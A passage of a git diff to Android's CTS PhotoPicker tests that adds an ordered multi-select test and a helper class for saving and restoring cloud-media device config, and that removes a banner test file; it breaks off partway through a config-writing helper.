import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.getMediaId;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
@@ -86,7 +87,7 @@ public class ActionPickImagesOnlyTest extends PhotoPickerBaseTest {
mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE);
- UiAssertionUtils.assertThatShowsPickerUi();
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
sDevice.pressBack();
}
}
@@ -141,6 +142,34 @@ public class ActionPickImagesOnlyTest extends PhotoPickerBaseTest {
final int count = clipData.getItemCount();
assertThat(count).isEqualTo(maxCount);
}
+ @Test
+ public void testMultiSelectOrdered() throws Exception {
+ final int imageCount = 4;
+ List<Uri> createdImages = createImagesAndGetUris(imageCount, mContext.getUserId());
+ mUriList.addAll(createdImages);
+ Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ addOrderedSelectionFlag(intent);
+ launchPhotoPickerForIntent(intent);
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ for (int i = 0; i < itemCount; i++) {
+ clickAndWait(sDevice, itemList.get(i));
+ }
+
+ clickAndWait(sDevice, findAddButton());
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(itemCount);
+ for (int i = 0; i < count; i++) {
+ final Uri imageSelectedUri = clipData.getItemAt(i).getUri();
+ // The last image created, is the first on the photopicker grid.
+ final Uri imageCreatedUri = createdImages.get(count - i - 1);
+ assertThat(getMediaId(imageSelectedUri)).isEqualTo(getMediaId(imageCreatedUri));
+ }
+ }
@Test
public void testDoesNotRespectExtraAllowMultiple() throws Exception {
@@ -178,4 +207,18 @@ public class ActionPickImagesOnlyTest extends PhotoPickerBaseTest {
final GetResultActivity.Result res = mActivity.getResult();
assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
}
+ private void addOrderedSelectionFlag(Intent intent) {
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_IN_ORDER, true);
+ }
+
+ private void launchPhotoPickerForIntent(Intent intent) throws Exception {
+ // GET_CONTENT needs to have setType
+ if (Intent.ACTION_GET_CONTENT.equals(intent.getAction()) && intent.getType() == null) {
+ intent.setType("*/*");
+ intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[]{"image/*", "video/*"});
+ }
+
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
index f20b0e88afb..05616ccdf59 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
@@ -17,13 +17,11 @@
package android.photopicker.cts;
import static android.photopicker.cts.PhotoPickerCloudUtils.containsExcept;
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableDeviceConfigSync;
import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
import static android.photopicker.cts.PhotoPickerCloudUtils.extractMediaIds;
import static android.photopicker.cts.PhotoPickerCloudUtils.fetchPickerMedia;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
import static android.photopicker.cts.PhotoPickerCloudUtils.initCloudProviderWithImage;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
import static android.photopicker.cts.PhotoPickerCloudUtils.selectAndAddPickerMedia;
import static android.photopicker.cts.PickerProviderMediaGenerator.getMediaGenerator;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
@@ -68,39 +66,25 @@ import java.util.List;
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.UPSIDE_DOWN_CAKE, codeName = "UpsideDownCake")
@RunWith(AndroidJUnit4.class)
public class ActionUserSelectImagesForAppTest extends PhotoPickerBaseTest {
-
- private static boolean sCloudMediaPreviouslyEnabled;
- @Nullable
- private static String sPreviouslyAllowedCloudProviders;
+ private static final String TAG = ActionUserSelectImagesForAppTest.class.getSimpleName();
@Nullable
- private static String sPreviouslySetCloudProvider;
+ private static DeviceStatePreserver sDeviceStatePreserver;
@BeforeClass
public static void setUpClass() throws IOException {
- // Store the current Cloud-Media feature configs which we will override during the test,
- // and will need to restore after the test finished.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ sDeviceStatePreserver = new DeviceStatePreserver(sDevice);
+ sDeviceStatePreserver.saveCurrentCloudProviderState();
+ disableDeviceConfigSync();
// Override the allowed cloud providers config to enable the banners
// (this is a self-instrumenting test, so "target" package name and "own" package name are
// same: android.photopicker.cts).
enableCloudMediaAndSetAllowedCloudProviders(sTargetPackageName);
-
}
@AfterClass
public static void tearDownClass() throws Exception {
- // Restore Cloud-Media feature configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
- }
- setCloudProvider(sPreviouslySetCloudProvider);
+ sDeviceStatePreserver.restoreCloudProviderState();
}
@After
@@ -155,22 +139,23 @@ public class ActionUserSelectImagesForAppTest extends PhotoPickerBaseTest {
@Test
public void testUserSelectImagesForAppHandledByPhotopicker() throws Exception {
- launchActivityForResult(getUserSelectImagesIntent());
- UiAssertionUtils.assertThatShowsPickerUi();
+ Intent intent = getUserSelectImagesIntent();
+ launchActivityForResult(intent);
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
@Test
public void testPhotosMimeTypeFilter() throws Exception {
Intent intent = getUserSelectImagesIntent("image/*");
launchActivityForResult(intent);
- UiAssertionUtils.assertThatShowsPickerUi();
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
@Test
public void testVideosMimeTypeFilter() throws Exception {
Intent intent = getUserSelectImagesIntent("video/*");
launchActivityForResult(intent);
- UiAssertionUtils.assertThatShowsPickerUi();
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
@Test
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
index a0d23e378c0..f2e3c684d60 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
@@ -18,11 +18,9 @@ package android.photopicker.cts;
import static android.photopicker.cts.PhotoPickerCloudUtils.addImage;
import static android.photopicker.cts.PhotoPickerCloudUtils.containsExcept;
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableDeviceConfigSync;
import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
import static android.photopicker.cts.PhotoPickerCloudUtils.extractMediaIds;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
import static android.photopicker.cts.PickerProviderMediaGenerator.MediaGenerator;
import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
@@ -72,6 +70,7 @@ import java.util.List;
@RunWith(AndroidJUnit4.class)
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
+ private static final String TAG = CloudPhotoPickerTest.class.getSimpleName();
private final List<Uri> mUriList = new ArrayList<>();
private MediaGenerator mCloudPrimaryMediaGenerator;
private MediaGenerator mCloudSecondaryMediaGenerator;
@@ -83,19 +82,14 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
private static final String CLOUD_ID1 = "CLOUD_ID1";
private static final String CLOUD_ID2 = "CLOUD_ID2";
- private static boolean sCloudMediaPreviouslyEnabled;
- private static String sPreviouslyAllowedCloudProviders;
@Nullable
- private static String sPreviouslySetCloudProvider;
+ private static DeviceStatePreserver sDeviceStatePreserver;
@BeforeClass
public static void setUpBeforeClass() throws IOException {
- // Store the current CMP configs, so that we can reset them at the end of the test.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ sDeviceStatePreserver = new DeviceStatePreserver(sDevice);
+ sDeviceStatePreserver.saveCurrentCloudProviderState();
+ disableDeviceConfigSync();
// This is a self-instrumentation test, so both "target" package name and "own" package name
// should be the same (android.photopicker.cts).
@@ -104,13 +98,7 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
@AfterClass
public static void tearDownClass() throws Exception {
- // Reset CloudMedia configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
- }
- setCloudProvider(sPreviouslySetCloudProvider);
+ sDeviceStatePreserver.restoreCloudProviderState();
}
@Before
public void setUp() throws Exception {
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/DeviceStatePreserver.java b/tests/PhotoPicker/src/android/photopicker/cts/DeviceStatePreserver.java
new file mode 100644
index 00000000000..3f660a41215
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/DeviceStatePreserver.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts;
+
+import static android.photopicker.cts.PhotoPickerBaseTest.INVALID_CLOUD_PROVIDER;
+import static android.photopicker.cts.PhotoPickerCloudUtils.NAMESPACE_MEDIAPROVIDER;
+import static android.photopicker.cts.PhotoPickerCloudUtils.NAMESPACE_STORAGE_NATIVE_BOOT;
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
+import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
+import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
+import static android.photopicker.cts.PhotoPickerCloudUtils.getCurrentCloudProvider;
+import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
+import static android.photopicker.cts.PhotoPickerCloudUtils.setCloudProvider;
+
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.uiautomator.UiDevice;
+
+import java.io.IOException;
+
+/**
+ * Provides helper functions to save current device state and restore the state after running tests.
+ */
+public class DeviceStatePreserver {
+ private static final String TAG = DeviceStatePreserver.class.getSimpleName();
+
+ private UiDevice mUiDevice;
+
+ // Previous state in storage_native_boot namespace
+ private static boolean sIsCloudEnabledStorageNativeBoot;
+ @Nullable
+ private static String sAllowedCloudProvidersStorageNativeBoot;
+
+ // Previous state in mediaprovider namespace
+ private static boolean sIsCloudEnabledMediaProvider;
+ @Nullable
+ private static String sAllowedCloudProvidersMediaProvider;
+
+ @Nullable
+ private static String sPreviouslySetCloudProvider;
+
+ public DeviceStatePreserver(@NonNull UiDevice device) {
+ mUiDevice = device;
+ }
+
+ /**
+ * Saves current cloud provider related device config flags from
+ * {@link PhotoPickerCloudUtils#NAMESPACE_STORAGE_NATIVE_BOOT} and
+ * {@link PhotoPickerCloudUtils#NAMESPACE_MEDIAPROVIDER}.
+ * Also saves the current cloud provider.
+ */
+ public void saveCurrentCloudProviderState() throws IOException {
+ // Save flags in storage_native_boot namespace
+ sIsCloudEnabledStorageNativeBoot = isCloudMediaEnabled(NAMESPACE_STORAGE_NATIVE_BOOT);
+ if (sIsCloudEnabledStorageNativeBoot) {
+ sAllowedCloudProvidersStorageNativeBoot =
+ getAllowedProvidersDeviceConfig(NAMESPACE_STORAGE_NATIVE_BOOT);
+ }
+
+ // Save flags in mediaprovider namespace
+ sIsCloudEnabledMediaProvider = isCloudMediaEnabled(NAMESPACE_MEDIAPROVIDER);
+ if (sIsCloudEnabledMediaProvider) {
+ sAllowedCloudProvidersMediaProvider =
+ getAllowedProvidersDeviceConfig(NAMESPACE_MEDIAPROVIDER);
+ }
+
+ // Save current cloud provider.
+ try {
+ sPreviouslySetCloudProvider = getCurrentCloudProvider(mUiDevice);
+ } catch (RuntimeException e) {
+ Log.e(TAG, "Could not get previously set cloud provider", e);
+ sPreviouslySetCloudProvider = INVALID_CLOUD_PROVIDER;
+ }
+ }
+
+ /**
+ * Restores the current cloud provider state previously saved using
+ * {@link DeviceStatePreserver#saveCurrentCloudProviderState()}.
+ */
+ public void restoreCloudProviderState() throws Exception {
+ // Restore flags in storage_native_boot namespace
+ if (sIsCloudEnabledStorageNativeBoot) {
+ enableCloudMediaAndSetAllowedCloudProviders(
+ NAMESPACE_STORAGE_NATIVE_BOOT, sAllowedCloudProvidersStorageNativeBoot);
+ } else {
+ disableCloudMediaAndClearAllowedCloudProviders(NAMESPACE_STORAGE_NATIVE_BOOT);
+ }
+
+ // Restore flags in mediaprovider namespace
+ if (sIsCloudEnabledMediaProvider) {
+ enableCloudMediaAndSetAllowedCloudProviders(
+ NAMESPACE_MEDIAPROVIDER, sAllowedCloudProvidersMediaProvider);
+ } else {
+ disableCloudMediaAndClearAllowedCloudProviders(NAMESPACE_MEDIAPROVIDER);
+ }
+
+ // Restore previously set cloud provider.
+ setCloudProvider(mUiDevice, sPreviouslySetCloudProvider);
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java
deleted file mode 100644
index fd67cffc945..00000000000
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java
+++ /dev/null
@@ -1,195 +0,0 @@
-/*
- * Copyright (C) 2023 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.photopicker.cts;
-
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImage;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.TIMEOUT;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.findBannerActionButton;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.findBannerDismissButton;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.findBannerPrimaryText;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.findSettingsOverflowMenuItem;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.getBannerPrimaryText;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.isPhotoPickerVisible;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsActivityIsVisible;
-import static android.provider.MediaStore.ACTION_PICK_IMAGES;
-import static android.provider.MediaStore.EXTRA_PICK_IMAGES_MAX;
-import static android.provider.MediaStore.getPickImagesMaxLimit;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Build;
-import android.photopicker.cts.cloudproviders.CloudProviderPrimary;
-
-import androidx.annotation.Nullable;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.uiautomator.UiObject;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Ignore;
-import org.junit.Test;
-
-import java.io.IOException;
-
-/**
- * Photo Picker Banner Tests for common flows.
- */
-// TODO(b/195009187): Enabling the banners requires setting allowed_cloud_providers device config.
-// We currently can't do this in R.
-@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-public class PhotoPickerBannersTest extends PhotoPickerBaseTest {
-
- private static boolean sCloudMediaPreviouslyEnabled;
- private static String sPreviouslyAllowedCloudProviders;
- @Nullable
- private static String sPreviouslySetCloudProvider;
- private Uri mLocalMediaFileUri;
-
- @BeforeClass
- public static void setUpBeforeClass() throws IOException {
- // Store the current CMP configs, so that we can reset them at the end of the test.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
-
- // Override the allowed cloud providers config to enable the banners.
- enableCloudMediaAndSetAllowedCloudProviders(sTargetPackageName);
- }
-
- @AfterClass
- public static void tearDownClass() throws Exception {
- // Reset CloudMedia configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
- }
- setCloudProvider(sPreviouslySetCloudProvider);
- }
-
- @Before
- public void setUp() throws Exception {
- super.setUp();
- setCloudProvider(/* authority */ null);
-
- // Create a local media file because if there's no media items for the picker grids,
- // the recycler view gets hidden along with the banners.
- mLocalMediaFileUri = createImage(mContext.getUserId(), /* isFavorite */ false).first;
- }
-
- @After
- public void tearDown() throws Exception {
- if (!isHardwareSupported()) {
- // No-op, skip tear down if hardware is not supported.
- return;
- }
-
- if (mActivity != null) {
- mActivity.finish();
- }
-
- deleteMedia(mLocalMediaFileUri, mContext);
-
- setCloudProvider(/* authority */ null);
- }
-
- @Test
- @Ignore("Tracking this in b/274840171")
- public void testChooseAppBannerOnDismiss() throws Exception {
- // 1. Setting up the 'Choose App' banner.
- setCloudMediaInfoForChooseAppBanner();
-
- // 2. Assert that the 'Choose App' banner is visible.
- assertThat(getBannerPrimaryText()).isEqualTo("Choose cloud media app");
-
- // 3. Click the banner 'Dismiss' button.
- final UiObject dismissButton = findBannerDismissButton();
- dismissButton.click();
-
- // 4. Assert that the Banner disappeared while the Picker is still visible.
- assertWithMessage("Timed out waiting for the banner to disappear")
- .that(dismissButton.waitUntilGone(TIMEOUT))
- .isTrue();
- assertThatPhotoPickerActivityIsVisible();
- }
-
- @Test
- @Ignore("Tracking this in b/274840171")
- public void testChooseAppBannerOnActionButtonClick() throws Exception {
- // 1. Setting up the 'Choose App' banner.
- setCloudMediaInfoForChooseAppBanner();
-
- // 2. Assert that the 'Choose App' banner is visible.
- assertThat(getBannerPrimaryText()).isEqualTo("Choose cloud media app");
-
- // 3. Click the banner 'Action' button.
- findBannerActionButton().click();
-
- // 4. Assert that Settings page is visible.
- verifySettingsActivityIsVisible();
- sDevice.pressBack();
- }
-
- private void setCloudMediaInfoForChooseAppBanner() throws Exception {
- // 1. Set a non-null cloud provider and launch the photo picker.
- setCloudProvider(CloudProviderPrimary.AUTHORITY);
- launchPickerActivity();
-
- // 2. Wait for the banner controller construction.
- findBannerPrimaryText().waitForExists(TIMEOUT);
-
- // 3. Set the cloud provider to None and reset the banner data in the same picker session.
-
- // 3a. Launch the settings activity.
- final UiObject settingsMenuItem = findSettingsOverflowMenuItem(sDevice);
- clickAndWait(sDevice, settingsMenuItem);
- verifySettingsActivityIsVisible();
-
- // 3b. Set the cloud provider to None.
- setCloudProvider(/* authority */ null);
-
- // 3c. Go back to the picker.
- sDevice.pressBack();
- assertThatPhotoPickerActivityIsVisible();
- }
-
- private void launchPickerActivity() {
- final Intent intent = new Intent(ACTION_PICK_IMAGES);
- intent.putExtra(EXTRA_PICK_IMAGES_MAX, getPickImagesMaxLimit());
- mActivity.startActivity(intent);
- assertThatPhotoPickerActivityIsVisible();
- }
-
- private void assertThatPhotoPickerActivityIsVisible() {
- assertWithMessage("Timed out waiting for the photo picker activity to appear")
- .that(isPhotoPickerVisible())
- .isTrue();
- }
-}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
index afc33e11c7d..5d7f9cd6e43 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
@@ -22,8 +22,6 @@ import android.app.Instrumentation;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
-import android.os.UserHandle;
-import android.util.Log;
import androidx.annotation.Nullable;
import androidx.test.InstrumentationRegistry;
@@ -41,9 +39,10 @@ import java.io.IOException;
public class PhotoPickerBaseTest {
private static final String TAG = "PhotoPickerBaseTest";
public static int REQUEST_CODE = 42;
+ protected static final String INVALID_CLOUD_PROVIDER = "Invalid";
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
- protected static final String sTargetPackageName =
+ public static final String sTargetPackageName =
sInstrumentation.getTargetContext().getPackageName();
protected static final UiDevice sDevice = UiDevice.getInstance(sInstrumentation);
@@ -90,42 +89,11 @@ public class PhotoPickerBaseTest {
}
protected static void setCloudProvider(@Nullable String authority) throws Exception {
- if (authority == null) {
- sDevice.executeShellCommand(
- "content call"
- + " --user " + UserHandle.myUserId()
- + " --uri content://media/ --method set_cloud_provider --extra"
- + " cloud_provider:n:null");
- } else {
- sDevice.executeShellCommand(
- "content call"
- + " --user " + UserHandle.myUserId()
- + " --uri content://media/ --method set_cloud_provider --extra"
- + " cloud_provider:s:"
- + authority);
- }
+ PhotoPickerCloudUtils.setCloudProvider(sDevice, authority);
}
protected static String getCurrentCloudProvider() throws IOException {
- final String out =
- sDevice.executeShellCommand(
- "content call"
- + " --user " + UserHandle.myUserId()
- + " --uri content://media/ --method get_cloud_provider");
- return extractCloudProvider(out);
- }
-
- private static String extractCloudProvider(String out) {
- if (out == null) {
- Log.d(TAG, "Failed request to get current cloud provider");
- return null;
- }
- String cloudprovider = (out.split("=")[1]);
- cloudprovider = cloudprovider.substring(0, cloudprovider.length() - 3);
- if (cloudprovider.equals("null")) {
- return null;
- }
- return cloudprovider;
+ return PhotoPickerCloudUtils.getCurrentCloudProvider(sDevice);
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java
index cac90216423..e9a016df81a 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java
@@ -18,6 +18,7 @@ package android.photopicker.cts;
import static android.Manifest.permission.READ_DEVICE_CONFIG;
import static android.Manifest.permission.WRITE_DEVICE_CONFIG;
+import static android.photopicker.cts.PhotoPickerBaseTest.INVALID_CLOUD_PROVIDER;
import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
@@ -28,8 +29,10 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.app.UiAutomation;
import android.content.ClipData;
import android.content.Context;
+import android.os.UserHandle;
import android.provider.DeviceConfig;
import android.provider.MediaStore;
+import android.text.TextUtils;
import android.util.Log;
import android.util.Pair;
@@ -47,7 +50,8 @@ import java.util.Collections;
import java.util.List;
public class PhotoPickerCloudUtils {
- private static final String NAMESPACE_MEDIAPROVIDER = "mediaprovider";
+ public static final String NAMESPACE_MEDIAPROVIDER = "mediaprovider";
+ public static final String NAMESPACE_STORAGE_NATIVE_BOOT = "storage_native_boot";
private static final String KEY_ALLOWED_CLOUD_PROVIDERS = "allowed_cloud_providers";
private static final String KEY_CLOUD_MEDIA_FEATURE_ENABLED = "cloud_media_feature_enabled";
private static final String DISABLE_DEVICE_CONFIG_SYNC =
@@ -133,37 +137,61 @@ public class PhotoPickerCloudUtils {
assertThat(mediaIds).containsNoneIn(Collections.singletonList(notContained));
}
- public static boolean isCloudMediaEnabled() {
- return Boolean.parseBoolean(readDeviceConfigProp(KEY_CLOUD_MEDIA_FEATURE_ENABLED));
+ /**
+ * @return true if cloud is enabled in the device config of the given namespace,
+ * otherwise false.
+ */
+ public static boolean isCloudMediaEnabled(@NonNull String namespace) {
+ return Boolean.parseBoolean(readDeviceConfigProp(namespace,
+ KEY_CLOUD_MEDIA_FEATURE_ENABLED));
}
+ /**
+ * @return the allowed providers in the device config of the given namespace.
+ */
@Nullable
- static String getAllowedProvidersDeviceConfig() {
- return readDeviceConfigProp(KEY_ALLOWED_CLOUD_PROVIDERS);
+ static String getAllowedProvidersDeviceConfig(@NonNull String namespace) {
+ return readDeviceConfigProp(namespace, KEY_ALLOWED_CLOUD_PROVIDERS);
}
+ /**
+ * Enables cloud media and sets the allowed cloud provider in the namespace storage_native_boot
+ * and mediaprovider.
+ */
static void enableCloudMediaAndSetAllowedCloudProviders(@NonNull String allowedPackagesJoined) {
- writeDeviceConfigProp(KEY_ALLOWED_CLOUD_PROVIDERS, allowedPackagesJoined);
+ enableCloudMediaAndSetAllowedCloudProviders(NAMESPACE_MEDIAPROVIDER, allowedPackagesJoined);
+ enableCloudMediaAndSetAllowedCloudProviders(
+ NAMESPACE_STORAGE_NATIVE_BOOT, allowedPackagesJoined);
+ }
+
+ /**
+ * Enables cloud media and sets the allowed cloud provider in the given namespace.
+ */
+ static void enableCloudMediaAndSetAllowedCloudProviders(@NonNull String namespace,
+ @NonNull String allowedPackagesJoined) {
+ writeDeviceConfigProp(namespace, KEY_ALLOWED_CLOUD_PROVIDERS, allowedPackagesJoined);
assertWithMessage("Failed to update the allowed cloud providers device config")
- .that(getAllowedProvidersDeviceConfig())
+ .that(getAllowedProvidersDeviceConfig(namespace))
.isEqualTo(allowedPackagesJoined);
- writeDeviceConfigProp(KEY_CLOUD_MEDIA_FEATURE_ENABLED, true);
+ writeDeviceConfigProp(namespace, KEY_CLOUD_MEDIA_FEATURE_ENABLED, true);
assertWithMessage("Failed to update the cloud media feature device config")
- .that(isCloudMediaEnabled())
+ .that(isCloudMediaEnabled(namespace))
.isTrue();
}
-
- static void disableCloudMediaAndClearAllowedCloudProviders() {
- writeDeviceConfigProp(KEY_CLOUD_MEDIA_FEATURE_ENABLED, false);
+ /**
+ * Disable cloud media in the given namespace.
+ */
+ static void disableCloudMediaAndClearAllowedCloudProviders(@NonNull String namespace) {
+ writeDeviceConfigProp(namespace, KEY_CLOUD_MEDIA_FEATURE_ENABLED, false);
assertWithMessage("Failed to update the cloud media feature device config")
- .that(isCloudMediaEnabled())
+ .that(isCloudMediaEnabled(namespace))
.isFalse();
- deleteDeviceConfigProp(KEY_ALLOWED_CLOUD_PROVIDERS);
+ deleteDeviceConfigProp(namespace, KEY_ALLOWED_CLOUD_PROVIDERS);
assertWithMessage("Failed to delete the allowed cloud providers device config")
- .that(getAllowedProvidersDeviceConfig())
+ .that(getAllowedProvidersDeviceConfig(namespace))
.isNull();
}
@@ -173,49 +201,104 @@ public class PhotoPickerCloudUtils {
}
@Nullable
- private static String readDeviceConfigProp(@NonNull String name) {
+ private static String readDeviceConfigProp(@NonNull String namespace, @NonNull String name) {
getUiAutomation().adoptShellPermissionIdentity(READ_DEVICE_CONFIG);
try {
- return DeviceConfig.getProperty(NAMESPACE_MEDIAPROVIDER, name);
+ return DeviceConfig.getProperty(namespace, name);
} finally {
getUiAutomation().dropShellPermissionIdentity();
}
}
- private static void writeDeviceConfigProp(@NonNull String name, boolean value) {
- writeDeviceConfigProp(name, Boolean.toString(value));
+ private static void writeDeviceConfigProp(@NonNull String namespace,
+ @NonNull String key, boolean value) {
+ writeDeviceConfigProp(namespace, key, Boolean.toString(value));
}
- private static void writeDeviceConfigProp(@NonNull String name, @NonNull String value) {
-
